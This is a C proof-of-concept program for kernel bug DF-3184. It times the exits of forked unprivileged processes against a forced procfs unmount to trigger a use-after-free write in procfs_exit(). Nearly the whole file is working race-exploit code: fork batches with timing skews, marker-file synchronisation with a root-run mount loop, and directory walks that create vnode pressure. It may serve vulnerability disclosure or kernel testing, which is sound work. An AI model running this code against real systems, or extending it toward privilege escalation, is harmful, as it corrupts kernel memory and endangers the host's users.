/*
 * DF-3184 PoC (sync mode) — synchronize the exiting child's
 * procfs_exit() walk with umount -f's vflush_scan() on a scratch
 * procfs mount, so the walk's
 *   scan-hash -> vhold -> vx_get  (procfs_subr.c:531-548)
 * collides with
 *   vflush_scan -> vgone_vxlocked -> VOP_RECLAIM -> procfs_freevp -> kfree(pfs)
 * for the same pfsnode.  On collision vx_get() blocks on the VX lock
 * held by vflush, resumes after kfree(pfs), and the walk executes
 * pfs->pfs_pid |= PFS_DEAD on freed memory (UAF write).
 *
 * usage: df3184_race sync MOUNTPOINT WINDOW_MS BATCH RUN_SECONDS
 * (run as an unprivileged user; root runs mountloop.sh in parallel)
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

static double now_s(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return (double)tv.tv_sec + (double)tv.tv_usec / 1e6;
}

/* stat every file under dir recursively (vnode-pressure churn) */
static long walk_tree_count(const char *dir)
{
	DIR *d = opendir(dir);
	struct dirent *de;
	char path[1024];
	struct stat st;
	long n = 0;

	if (d == NULL)
		return 0;
	while ((de = readdir(d)) != NULL) {
		if (de->d_name[0] == '.' && (de->d_name[1] == 0 ||
		    (de->d_name[1] == '.' && de->d_name[2] == 0)))
			continue;
		snprintf(path, sizeof(path), "%s/%s", dir, de->d_name);
		if (stat(path, &st) < 0)
			continue;
		n++;
		if (S_ISDIR(st.st_mode))
			n += walk_tree_count(path);
	}
	closedir(d);
	return n;
}

static const char *proc_targets[] = {
	"status", "cmdline", "map", "type", "rlimit",
	"regs", "fpregs", "dbregs", "ctl", "note", "notepg", "file",
	NULL
};

static void touch_own_nodes(const char *mp)
{
	char path[160];
	struct stat st;
	int i;

	snprintf(path, sizeof(path), "%s/%d", mp, (int)getpid());
	if (stat(path, &st) == 0) {
		int fd = open(path, O_RDONLY);
		if (fd >= 0)
			close(fd);
	}
	for (i = 0; proc_targets[i] != NULL; i++) {
		snprintf(path, sizeof(path), "%s/%d/%s",
			 mp, (int)getpid(), proc_targets[i]);
		if (stat(path, &st) == 0) {
			int fd = open(path, O_RDONLY);
			if (fd >= 0)
				close(fd);
		}
	}
}

static void sync_child(const char *mp, const char *markB, double stat_s,
		       double delay_s, double skew_s)
{
	struct stat st;
	ino_t ino0;
	double tB;

	if (stat_s <= 0) {
		/*
		 * Create the pfs nodes immediately (mount is live, before
		 * the unmount begins); the vnode-pressure backlog keeps
		 * vnlru's inactive-queue delay (~minutes) far longer than
		 * the 13s unmount cycle, so the nodes survive until the
		 * forced vflush.
		 */
		touch_own_nodes(mp);
		stat_s = 1e9;
	}
	/* snapshot marker B so we see only OUR cycle's bump */
	if (stat(markB, &st) == 0)
		ino0 = st.st_ino;
	else
		ino0 = 0;
	/* wait for the pre-unmount marker (root driver) */
	for (;;) {
		if (stat(markB, &st) == 0 && st.st_ino != ino0)
			break;
		usleep(60);
	}
	tB = now_s();
	/* vflush fires ~12.6-13.0s after marker B; exit inside the burst */
	while (now_s() < tB + delay_s + skew_s)
		usleep(60);
	_exit(0);
}

int main(int argc, char **argv)
{
	const char *mp = "/procN";
	const char *markA = "/tmp/df3184/cycle.a";
	const char *markB = "/tmp/df3184/cycle.b";
	const char *tree = NULL;
	double stat_s = 12.0, delay_s = 12.55, deadline, start;
	double skew_step = 0.0075;
	int batch = 64;
	int run_seconds = 300;
	int i;
	ino_t last_ino = 0;
	long batches = 0, forks = 0;
	struct stat st;
	int status;

	if (argc > 2) mp = argv[2];
	if (argc > 3) stat_s = atof(argv[3]);
	if (argc > 4) delay_s = atof(argv[4]);
	if (argc > 5) batch = atoi(argv[5]);
	if (argc > 6) run_seconds = atoi(argv[6]);
	if (argc > 7) markA = argv[7];
	if (argc > 8) markB = argv[8];
	if (argc > 9) tree = argv[9];
	if (argc > 10) skew_step = atof(argv[10]);

	start = now_s();
	deadline = start + run_seconds;
	setvbuf(stdout, NULL, _IOLBF, 0);
	printf("df3184_sync: mp=%s stat=%.2fs exit=%.2fs batch=%d run=%ds tree=%s uid=%d\n",
	       mp, stat_s, delay_s, batch, run_seconds, tree, (int)getuid());

	if (tree) {
		/* vnode-pressure churn: keep vnlru's inactive-queue backlog
		 * long so racer nodes survive the whole unmount cycle */
		for (i = 0; i < 4; i++) {
			pid_t p = fork();
			if (p == 0) {
				while (now_s() < deadline)
					walk_tree_count(tree);
				_exit(0);
			}
		}
	}

	while (now_s() < deadline) {
		/* sync on marker-A inode change (mount happened) */
		if (stat(markA, &st) == 0 && st.st_ino != last_ino) {
			last_ino = st.st_ino;
			/*
			 * Light mode: quiet-mount vflush at ~+256ms after
			 * marker B; every walk aims inside it.
			 */
			for (i = 0; i < batch; i++) {
				pid_t p = fork();
				if (p == 0) {
					double skew = (double)(i % 48) * 0.0008;
					sync_child(mp, markB, 0.0, delay_s,
						   skew);
				}
				if (p > 0)
					forks++;
			}
			batches++;
			if ((batches % 25) == 0)
				printf("[%.0fs] batches=%ld forks=%ld\n",
				       now_s() - start, batches, forks);
		}
		usleep(100);
		while (waitpid(-1, &status, WNOHANG) > 0)
			;
	}
	while (waitpid(-1, &status, WNOHANG) > 0)
		;
	printf("done: batches=%ld forks=%ld elapsed=%.1fs\n",
	       batches, forks, now_s() - start);
	return 0;
}
